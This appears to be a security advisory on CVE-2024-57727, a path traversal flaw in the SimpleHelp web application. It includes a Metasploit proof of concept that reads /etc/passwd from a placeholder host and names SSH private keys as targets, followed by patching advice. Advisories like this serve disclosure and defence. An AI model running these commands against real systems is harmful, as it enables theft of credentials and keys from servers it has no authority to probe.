CVE-2024-57727: Path Traversal Vulnerability in SimpleHelp Web Application

Overview
In April 2024, a severe security vulnerability, designated as CVE-2024-57727, was discovered in the SimpleHelp web application. This vulnerability allows attackers to exploit a path traversal flaw in the system, enabling them to read sensitive files on the server, including system files like/etc/passwdand private SSH keys. This vulnerability poses a significant threat to both system integrity and data privacy, as attackers can leverage it to gain unauthorized access to sensitive information stored on the server.

Common Vulnerability Scoring System (CVSS) v3.1 Base Score: 7.5
Exploit Prediction Scoring System (EPSS) Score: 2.5%

Technical Details
Vulnerability Explanation:
The vulnerability stems from a path traversal flaw in the SimpleHelp web application, a remote support tool. The issue arises when a user interacts with certain vulnerable components of the SimpleHelp system, which improperly sanitizes user input. By sending specially crafted requests, an attacker can navigate the file system, ultimately leading to the exposure of sensitive files.

In particular, attackers can exploit this flaw to access files like /etc/passwd or SSH private keys, which can be used for further attacks such as privilege escalation or remote login using compromised credentials.

Exploitation Mechanism:
The attack mechanism follows these general steps:

1. The attacker identifies a vulnerable SimpleHelp installation that exposes file paths via an HTTP request.
2. The attacker crafts a malicious URL, manipulating the file path input.
3. The crafted request is sent to the SimpleHelp server, triggering a path traversal attack.
4. Sensitive files, such as /etc/passwd or /root/.ssh/id_rsa, are successfully retrieved.
5. The attacker may use the extracted files to gain unauthorized access to the system.

Proof of Concept (PoC)

A proof-of-concept attack demonstrates how an attacker can exploit the vulnerability by sending a path traversal payload to the SimpleHelp server:

msfconsole -q
msf6 > use auxiliary/scanner/http/simplehelp_toolbox_path_traversal
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhosts 192.168.X.X
rhosts => 192.168.X.X
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set filepath ../../../../../../etc/passwdmsf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 5.5.7
[+] Downloaded 1756 bytes[+] File saved in: /home/kali/.msf4/loot/20250408084328_default_192.168.X.X_simplehelp.trave_105069.txt

The file, containing sensitive data, is saved to the attacker’s local system, allowing further analysis or exploitation.

Affected Platforms
The vulnerability was identified in the SimpleHelp web application (version 5.5.7) and is present across multiple operating systems, including:

• Ubuntu Linux (versions with SimpleHelp installed)
• Other Linux-based systems using SimpleHelp for remote support

While this specific issue was found in SimpleHelp version 5.5.7, the nature of path traversal vulnerabilities means that other versions and deployments of the application may also be at risk.

Mitigation and Remediation
Patches and Fixes:
SimpleHelp has addressed this vulnerability in recent patches. To mitigate the risk of exploitation, users should:

• Update SimpleHelp to the latest available version that includes the fix for CVE-2024-57727.
• Disable the file browsing functionality or restrict its use to trusted users only.
• Implement network-level security controls such as firewalls to limit access to the SimpleHelp web interface.

Conclusion
CVE-2024-57727 demonstrates a critical flaw in the SimpleHelp web application that could lead to unauthorized access to sensitive system files. Given the potential for privilege escalation and data theft, it is essential that organizations using SimpleHelp implement the necessary updates or mitigations to prevent exploitation. Regular software updates and secure coding practices are crucial to maintaining the integrity of web applications.

References

• National Vulnerability Database (NVD): CVE-2024-57727
• Rapid7 Exploit Database: SimpleHelp Path Traversal